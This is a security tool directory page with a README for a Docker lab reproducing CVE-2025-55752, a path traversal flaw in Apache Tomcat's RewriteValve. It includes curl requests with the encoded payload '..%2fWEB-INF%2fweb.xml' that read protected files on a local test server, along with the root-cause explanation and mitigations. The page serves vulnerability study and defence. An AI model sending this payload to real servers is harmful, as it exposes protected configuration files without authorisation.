Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55752 — Docker-based reproduction environment for CVE-2025-55752, a path traversal vulnerability in Apache Tomcat's RewriteValve, demonstrating the normalize-before-decode flaw and providing testing commands. | Kitploit
Tools/GitHubGitHub/masahiro331/cve-2025-55752
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmasahiro331/cve-2025-55752

CVE-2025-55752

Docker-based reproduction environment for CVE-2025-55752, a path traversal vulnerability in Apache Tomcat's RewriteValve, demonstrating the normalize-before-decode flaw and providing testing commands.

View Repository
143310 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55752: Apache Tomcat Path Traversal Vulnerability

Docker-based reproduction environment for CVE-2025-55752, a path traversal vulnerability in Apache Tomcat 10.1.44.

Overview

CVE-2025-55752 is a path traversal vulnerability in Apache Tomcat's RewriteValve caused by incorrect processing rder: URL normalization occurs before URL decoding. This allows attackers to bypass security constraints rotecting directories like /WEB-INF/ using URL-encoded path traversal sequences (..%2f).

Vulnerability Characteristics

  • CVE ID: CVE-2025-55752
  • CVSS v3.1: 7.5 (HIGH)
  • CWE: CWE-22 (Path Traversal)
  • Component: Apache Tomcat RewriteValve
  • Root Cause: Normalize-before-decode processing order

Affected Versions

SeriesVulnerable VersionsPatched Version
11.x11.0.0-M1 to 11.0.1011.0.11+
10.1.x10.1.0-M1 to 10.1.4410.1.45+
9.0.x9.0.0-M11 to 9.0.1089.0.109+
8.5.x8.5.6 to 8.5.100EOL - No patch

Quick Start

root@kitploit:~
git clone https://github.com/masahiro331/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
curl http://localhost:8080/

Vulnerability Testing

Test 1: Direct WEB-INF Access (Protected)

root@kitploit:~
curl -I 'http://localhost:8080/WEB-INF/web.xml'

Expected: 403 Forbidden

Test 2: Information Disclosure (Read Protected Files)

root@kitploit:~
curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'

Expected: 200 OK + web.xml content (vulnerability confirmed)

How It Works

  1. Request: /download?path=..%2fWEB-INF%2fweb.xml
  2. RewriteValve rewrites to: /files/..%2fWEB-INF%2fweb.xml
  3. URL normalization (before decode): %2f not recognized as /, .. survives
  4. URL decoding: %2f → / → /files/../WEB-INF/web.xml
  5. Path resolution: /WEB-INF/web.xml

Processing Order Issue

root@kitploit:~
Correct:    Decode → Normalize → Security Check
Vulnerable: Normalize → Decode → Security Check ✗

Tomcat Fix

  • GitHub: apache/tomcat commit 130d36d8
  • Fix: Decode before normalize

Mitigation

  1. Disable RewriteValve if not required
  2. Disable PUT method
  3. WAF rules to block ../ and %2e%2e
  4. Upgrade to patched versions (10.1.45+, 9.0.109+, 11.0.11+)

References

  • Apache Tomcat Security
  • NVD - CVE-2025-55752
  • OWASP Path Traversal
  • CWE-22: Improper Limitation of a Pathname

Disclaimer

⚠️ WARNING: Do NOT deploy to production. Use only in isolated test environments.

Download Tool